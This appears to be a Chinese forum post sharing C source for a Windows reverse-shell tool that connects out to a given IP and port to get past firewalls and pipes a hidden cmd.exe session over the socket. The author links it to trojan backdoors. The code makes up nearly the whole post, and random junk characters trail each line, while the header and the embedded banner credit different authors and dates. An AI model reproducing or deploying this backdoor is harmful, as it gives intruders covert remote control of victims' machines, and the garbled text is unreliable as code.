这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 dc lJ
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/* ============================== \nxt\KD
Rebound port in Windows NT typ*.j[q
By wind,2006/7 %o{vD&7\
===============================*/ \
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#include 2]4R`[#
#include Po^2+s(fY
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#pragma comment(lib,"wsock32.lib") Bq:@ [pCQ
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void OutputShell(); `yC
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SOCKET sClient; w;#9 hW&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \LM'KD pP_
4>5%SzZT\3
void main(int argc,char **argv) -,5g cD
{ x$s #';*
WSADATA stWsaData; _=}Y
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int nRet; Y1
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SOCKADDR_IN stSaiClient,stSaiServer; qw_qGgbl
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if(argc != 3) d[SC1J
{ 8Q6il-
printf("Useage:\n\rRebound DestIP DestPort\n"); S2fw"1h*x
return; )Ba^Igb}
} /!%P7F
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WSAStartup(MAKEWORD(2,2),&stWsaData); EkTen:{G
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J v)]7u
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stSaiClient.sin_family = AF_INET; 9Z+@i:_}
stSaiClient.sin_port = htons(0); m9PcDhv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Js=|r;'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) h_CeGl!M}
{ /pyKTZ|
printf("Bind Socket Failed!\n"); FAQ:0L$G
return; crhck'?0
} Zn9w1ev
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stSaiServer.sin_family = AF_INET; \XB71DUF
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ::M/s#-@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zBjqYqZ<+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -rH3rKtf~
{ WO}JIExy
printf("Connect Error!"); 1":{$A?OB
return; C ch1"j<k$
} mIr{Wocx
OutputShell(); 2r*
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} ^ePSI|EW
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void OutputShell() ZE=~ re
{ L)w& f
char szBuff[1024]; 2"i<--Y
SECURITY_ATTRIBUTES stSecurityAttributes; a7d782~
OSVERSIONINFO stOsversionInfo; nFB;! r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -D(UbkPw
STARTUPINFO stStartupInfo; FlkAo]
char *szShell; J'7){C"G$
PROCESS_INFORMATION stProcessInformation; Gwvs~jN
unsigned long lBytesRead; c/x(v=LW
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L50`,,WF
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b(XhwkGVq
stSecurityAttributes.lpSecurityDescriptor = 0; GN~:rdd
stSecurityAttributes.bInheritHandle = TRUE; H}}t)H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @:c
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IH:Hfv
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^SjGNg^ 7D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JdV!m`XpXy
stStartupInfo.wShowWindow = SW_HIDE; z2dM*NMK
stStartupInfo.hStdInput = hReadPipe; pCC0:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I;xTyhUd
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GetVersionEx(&stOsversionInfo); >c1mwZS;
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switch(stOsversionInfo.dwPlatformId) WQ*$y3%
{ 0`S!+d
case 1: =1esUO[nx
szShell = "command.com"; Ri-I+7(n!
break; o0<T|zgF5,
default: d[o =
szShell = "cmd.exe"; _zpn+XVdQ
break; IC{>q3
} kv'n W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D!X{9q}S1
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send(sClient,szMsg,77,0); .z{7
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while(1) EG 1SIEo
{ h]D=v B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :s$9#}hw,
if(lBytesRead) d-?~O~qD|!
{ |MBnRR
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (Hn,}(3S
send(sClient,szBuff,lBytesRead,0); G;^iwxzhO
} Cu`ZgKLQ
else c~tkY!c
{ VyI%^S
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lBytesRead=recv(sClient,szBuff,1024,0); .KB*u*h
if(lBytesRead<=0) break; z.jGVF4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MT V'!Zxs
} /`'50Cj
} f5yd2wKy6
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return; |YlUt~H>
}